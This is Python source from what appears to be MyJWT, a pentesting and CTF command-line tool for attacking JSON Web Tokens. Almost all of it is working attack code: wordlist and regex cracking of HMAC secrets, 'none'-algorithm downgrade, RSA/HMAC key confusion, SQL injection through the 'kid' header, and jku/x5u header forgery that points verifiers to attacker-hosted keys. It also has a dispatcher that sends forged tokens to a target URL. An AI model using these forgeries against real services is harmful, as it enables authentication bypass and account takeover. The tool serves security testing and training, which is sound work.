def bruteforce_wordlist(jwt: str, filename: str) -> str:
"""
Crack your jwt with wordlist.
Parameters
----------
jwt: str
your jwt string.
filename: str
path file of your wordlist txt file.
Returns
-------
str
your new jwt or "" if the valid key is not found.
Raises
-------
InvalidJWT
if your jwt is not valid.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = jwt_to_json(jwt)
with open(filename, encoding="latin-1") as file:
all_password = [line.rstrip() for line in file]
file.close()
for password in all_password:
new_jwt = signature(jwt_json, password)
new_signature = new_jwt.split(".")[2]
if new_signature == jwt.split(".")[2]:
return password
return ""
def print_decoded(jwt: str):
"""
Print your jwt.
Parameters
----------
jwt: str
your jwt.
Returns
-------
None
Print your jwt.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = jwt_to_json(jwt)
click.echo("Header: ")
for key in jwt_json[HEADER].keys():
click.echo(
str(key) + " = " +
(str(jwt_json[HEADER][key])
if jwt_json[HEADER][key] is not None else "null"), )
click.echo("")
click.echo("Payload: ")
for key in jwt_json[PAYLOAD].keys():
click.echo(
str(key) + " = " +
(str(jwt_json[PAYLOAD][key])
if jwt_json[PAYLOAD][key] is not None else "null"), )
click.echo("")
click.echo("Signature: \n" + json.dumps(jwt_json[SIGNATURE]))
def confusion_rsa_hmac(jwt: str, filename: str) -> str:
"""
Check rsa/hmac confusion.
Parameters
----------
jwt: str
your jwt string.
filename: str
path file of your public key.
Returns
-------
str
your new jwt.
Raises
-------
InvalidJWT
if your jwt is not valid.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = change_alg(jwt_to_json(jwt), "HS256")
return signature(jwt_json, open(filename).read())
def inject_sql_kid(jwt: str, injection: str) -> str:
"""
Inject sql to your jwt.
Parameters
----------
jwt: str
your jwt.
injection: str
your kid injection.
Returns
-------
str
your new jwt.
Raises
-------
InvalidJWT
if your jwt is not valid.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = jwt_to_json(jwt)
jwt_json[HEADER]["kid"] = injection
return signature(jwt_json, "")
def none_vulnerability(jwt: str) -> str:
"""
Check none Vulnerability.
Parameters
----------
jwt: str
your jwt string.
Returns
-------
str
your new jwt.
Raises
-------
InvalidJWT
if your jwt is not valid.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = change_alg(jwt_to_json(jwt), "none")
return encode_jwt(jwt_json) + "."
def myjwt_cli(jwt, **kwargs):
"""
\b
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
\f
Parameters
----------
jwt: str
your jwt
kwargs: Dict
all option value
"""
if not is_valid_jwt(jwt):
sys.exit(NOT_VALID_JWT)
# detect if some options are here
# if no option detected print user_interface
interface_mode = True
for option in kwargs.values():
if not (option is None or option == () or not option
or option == "GET"):
interface_mode = False
if interface_mode:
user_interface(jwt)
sys.exit()
if kwargs["bruteforce"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
key = bruteforce_wordlist(jwt, kwargs["bruteforce"])
if key == "":
sys.exit(NOT_CRAKED)
else:
copy_to_clipboard(key)
click.echo(CRACKED + key)
if (not kwargs["add_header"] and not kwargs["add_payload"]
and not kwargs["full_payload"]):
sys.exit()
if kwargs["add_payload"]:
payload_dict = dict()
for payload in kwargs["add_payload"]:
new_str = payload.split("=")
if len(new_str) != 2:
sys.exit(VALID_PAYLOAD)
payload_dict[new_str[0]] = new_str[1]
jwt_json = add_payload(jwt_to_json(jwt), payload_dict)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
if kwargs["add_header"]:
header_dict = dict()
for header in kwargs["add_header"]:
new_str = header.split("=")
if len(new_str) != 2:
sys.exit(VALID_HEADER)
header_dict[new_str[0]] = new_str[1]
jwt_json = add_header(jwt_to_json(jwt), header_dict)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
if kwargs["full_payload"]:
try:
jwt_json = change_payload(
jwt_to_json(jwt),
json.loads(kwargs["full_payload"]),
)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
except JSONDecodeError:
sys.exit(VALID_PAYLOAD_JSON)
if kwargs["x5u"]:
jwt = x5u_vulnerability(
jwt,
url=kwargs["x5u"],
pem=kwargs["key"],
crt=kwargs["crt"],
file=kwargs["file"],
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["jku"]:
jwt = jku_vulnerability(
jwt,
kwargs["jku"],
kwargs["file"],
kwargs["key"],
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
click.echo(
f"Please run python -m http.server --bind {kwargs['jku']} .Before send your jwt",
)
if kwargs["kid"]:
jwt = inject_sql_kid(jwt, kwargs["kid"])
if not kwargs["sign"]:
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["hmac"]:
jwt = confusion_rsa_hmac(jwt, kwargs["hmac"])
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["none_vulnerability"]:
jwt_json = change_alg(jwt_to_json(jwt), "none")
jwt = encode_jwt(jwt_json) + "."
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["sign"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
jwt = signature(jwt_json, kwargs["sign"])
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["verify"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
new_jwt = signature(jwt_json, kwargs["verify"])
click.echo(
VALID_SIGNATURE if new_jwt.split(".")[2] == jwt.split(".")[2] else
INVALID_SIGNATURE, )
if kwargs["crack"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
all_string = list(exrex.generate(kwargs["crack"]))
click.echo(
kwargs["crack"] + " have " + str(len(all_string)) +
" possibilities", )
with click.progressbar(
all_string,
label="Keys",
length=len(all_string),
) as bar:
for key in bar:
new_jwt = signature(jwt_json, key)
if new_jwt.split(".")[2] == jwt.split(".")[2]:
copy_to_clipboard(key)
sys.exit("Key found: " + key)
sys.exit(INVALID_SIGNATURE)
if kwargs["url"]:
data_dict = dict()
for d in kwargs["data"]:
new_str = d.split("=")
if len(new_str) != 2:
sys.exit(VALID_DATA)
if new_str[1] == "MY_JWT":
data_dict[new_str[0]] = jwt
else:
data_dict[new_str[0]] = new_str[1]
cookies_dict = dict()
for cookie in kwargs["cookies"]:
new_str = cookie.split("=")
if len(new_str) != 2:
sys.exit(VALID_COOKIES)
if new_str[1] == "MY_JWT":
cookies_dict[new_str[0]] = jwt
else:
cookies_dict[new_str[0]] = new_str[1]
try:
response = send_jwt_to_url(
kwargs["url"],
kwargs["method"],
data_dict,
cookies_dict,
jwt,
)
click.echo(response.text)
except requests.exceptions.ConnectionError:
sys.exit("Connection Error. Verify your url.")
if kwargs["print"]:
copy_to_clipboard(jwt)
print_decoded(jwt)
if (not kwargs["none_vulnerability"] and not kwargs["hmac"]
and not kwargs["bruteforce"] and not kwargs["sign"]
and not kwargs["verify"] and not kwargs["jku"]
and not kwargs["x5u"] and not kwargs["print"]):
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
sys.exit()
def x5u_vulnerability(jwt=None, url=None, crt=None, pem=None, file=None):
"""
Check jku Vulnerability.
Parameters
----------
jwt: str
your jwt.
url: str
your url.
crt: str
crt path file
pem: str
pem file name
file: str
jwks file name
Returns
-------
str
your new jwt.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
if file is None:
file = "jwks_with_x5c.json"
jwt_json = jwt_to_json(jwt)
if "x5u" not in jwt_json[HEADER]:
raise InvalidJWT("Invalid JWT format JKU missing")
if crt is None or pem is None:
crt, pem = create_crt()
with open(crt) as f:
content = f.read()
f.close()
x5u = requests.get(jwt_json[HEADER]["x5u"]).json()
x5u["keys"][0]["x5c"] = (content.replace("-----END CERTIFICATE-----",
"").replace(
"-----BEGIN CERTIFICATE-----",
"").replace("\n", ""))
if ".json" not in file:
file += ".json"
if not url.endswith("/"):
url += "/"
jwt_json[HEADER]["x5u"] = f"{url}{file}"
f = open(file, "w")
f.write(json.dumps(x5u))
f.close()
s = encode_jwt(jwt_json)
key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read())
priv = key.to_cryptography_key()
sign = priv.sign(
bytes(s, encoding="UTF-8"),
algorithm=hashes.SHA256(),
padding=padding.PKCS1v15(),
)
return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
def jku_vulnerability(jwt=None, url=None, file=None, pem=None):
"""
Check jku Vulnerability.
Parameters
----------
jwt: str
your jwt.
url: str
your url.
file: str
your output json file name
pem: str
pem file name
Returns
-------
str
your new jwt.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = jwt_to_json(jwt)
if "jku" not in jwt_json[HEADER]:
raise InvalidJWT("Invalid JWT format JKU missing")
if file is None:
file = "jwk-python.json"
jwks = requests.get(jwt_json[HEADER]["jku"]).json()
jwt_json[HEADER]["alg"] = "RS256"
if ".json" not in file:
file += ".json"
if not url.endswith("/"):
url += "/"
jwt_json[HEADER]["jku"] = f"{url}{file}"
if pem is None:
key = crypto.PKey()
key.generate_key(type=crypto.TYPE_RSA, bits=2048)
else:
key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read())
priv = key.to_cryptography_key()
pub = priv.public_key()
e = pub.public_numbers().e
n = pub.public_numbers().n
jwks["keys"][0]["e"] = (base64.urlsafe_b64encode(
e.to_bytes(e.bit_length() // 8 + 1,
byteorder="big"), ).decode("UTF-8").rstrip("="))
jwks["keys"][0]["n"] = (base64.urlsafe_b64encode(
n.to_bytes(n.bit_length() // 8 + 1,
byteorder="big"), ).decode("UTF-8").rstrip("="))
f = open(file, "w")
f.write(json.dumps(jwks))
f.close()
s = encode_jwt(jwt_json)
sign = priv.sign(
bytes(s, encoding="UTF-8"),
algorithm=hashes.SHA256(),
padding=padding.PKCS1v15(),
)
return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
def test_is_valid_jwt():
"""
Test is_valid_jwt method in utils.py
"""
assert is_valid_jwt(jwt)
